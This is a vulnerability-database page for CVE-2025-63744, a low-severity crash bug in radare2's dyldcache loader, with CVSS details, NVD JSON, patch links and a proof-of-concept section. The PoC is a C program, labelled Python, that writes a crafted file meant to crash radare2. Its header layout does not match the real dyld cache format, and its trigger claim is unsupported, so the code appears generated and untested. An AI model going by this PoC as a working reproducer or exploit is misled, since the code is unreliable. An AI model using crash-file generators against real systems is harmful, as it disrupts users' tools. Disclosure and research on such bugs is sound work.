Security Vulnerability Report
中文
CVE-2025-63744 CVSS 4.3 MEDIUM

CVE-2025-63744

Published: 2025-11-14 21:15:45
Last Modified: 2025-11-19 19:03:18

Description

A NULL pointer dereference vulnerability was discovered in radare2 6.0.5 and earlier within the load() function of bin_dyldcache.c. Processing a crafted file can cause a segmentation fault and crash the program.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:radare:radare2:*:*:*:*:*:*:*:* - VULNERABLE
radare2 <= 6.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-63744 PoC - radare2 NULL Pointer Dereference in bin_dyldcache.c // Author: Security Researcher // Target: radare2 <= 6.0.5 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // DYLDCACHE_MAGIC for identification #define DYLDCACHE_MAGIC "dyld_v1" // Crafted dyldcache header structure typedef struct { char magic[8]; // Magic number uint32_t header_size; // Header size uint32_t dylib_count; // Number of dylibs uint64_t timestamp; // Timestamp uint64_t tree_size; // Tree size uint64_t code_sig; // Code signature offset (crafted to trigger NULL) uint64_t rebase_info; // Rebase info offset } dyldcache_header_t; // Create a crafted dyldcache file to trigger NULL pointer dereference int create_malicious_dyldcache(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("[-] Failed to create file\n"); return -1; } dyldcache_header_t header; memset(&header, 0, sizeof(header)); // Set magic number memcpy(header.magic, DYLDCACHE_MAGIC, 8); header.header_size = sizeof(dyldcache_header_t); header.dylib_count = 1; header.timestamp = 0; header.tree_size = 0x1000; // Craft offsets to trigger NULL pointer dereference in load() function // Setting code_sig to 0 will cause NULL pointer access when dereferenced header.code_sig = 0; // Critical: triggers NULL dereference header.rebase_info = 0x100; // Valid-looking offset // Write crafted header fwrite(&header, sizeof(header), 1, fp); // Add padding to make file look more authentic char padding[0x200] = {0}; fwrite(padding, sizeof(padding), 1, fp); fclose(fp); printf("[+] Created malicious dyldcache file: %s\n", filename); return 0; } int main(int argc, char* argv[]) { if (argc < 2) { printf("Usage: %s <output_file>\n", argv[0]); printf("This PoC generates a crafted dyldcache file to trigger CVE-2025-63744\n"); return 1; } printf("[*] Generating PoC for CVE-2025-63744\n"); printf("[*] Target: radare2 <= 6.0.5\n"); printf("[*] Vulnerability: NULL pointer dereference in bin_dyldcache.c\n"); int result = create_malicious_dyldcache(argv[1]); if (result == 0) { printf("[+] PoC file created successfully\n"); printf("[*] To trigger vulnerability, open file with: r2 -c 'aaa' %s\n", argv[1]); } return result; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63744", "sourceIdentifier": "[email protected]", "published": "2025-11-14T21:15:44.933", "lastModified": "2025-11-19T19:03:17.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference vulnerability was discovered in radare2 6.0.5 and earlier within the load() function of bin_dyldcache.c. Processing a crafted file can cause a segmentation fault and crash the program."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:radare:radare2:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.0.5", "matchCriteriaId": "65F5C1BC-1B1F-4176-961D-C1811BE46456"}]}]}], "references": [{"url": "https://github.com/marlinkcyber/advisories/blob/main/advisories/MCSAID-2025-002-radare2-nullptr-deref-bin_dyldcache.md", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://github.com/marlinkcyber/advisories/blob/main/advisories/radare2-nullptr-deref-bin_dyldcache.md", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://github.com/radareorg/radare2/commit/e37e15d10fd8a19c3e57b3d7735a2cfe0082ec79", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/radareorg/radare2/issues/24661", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}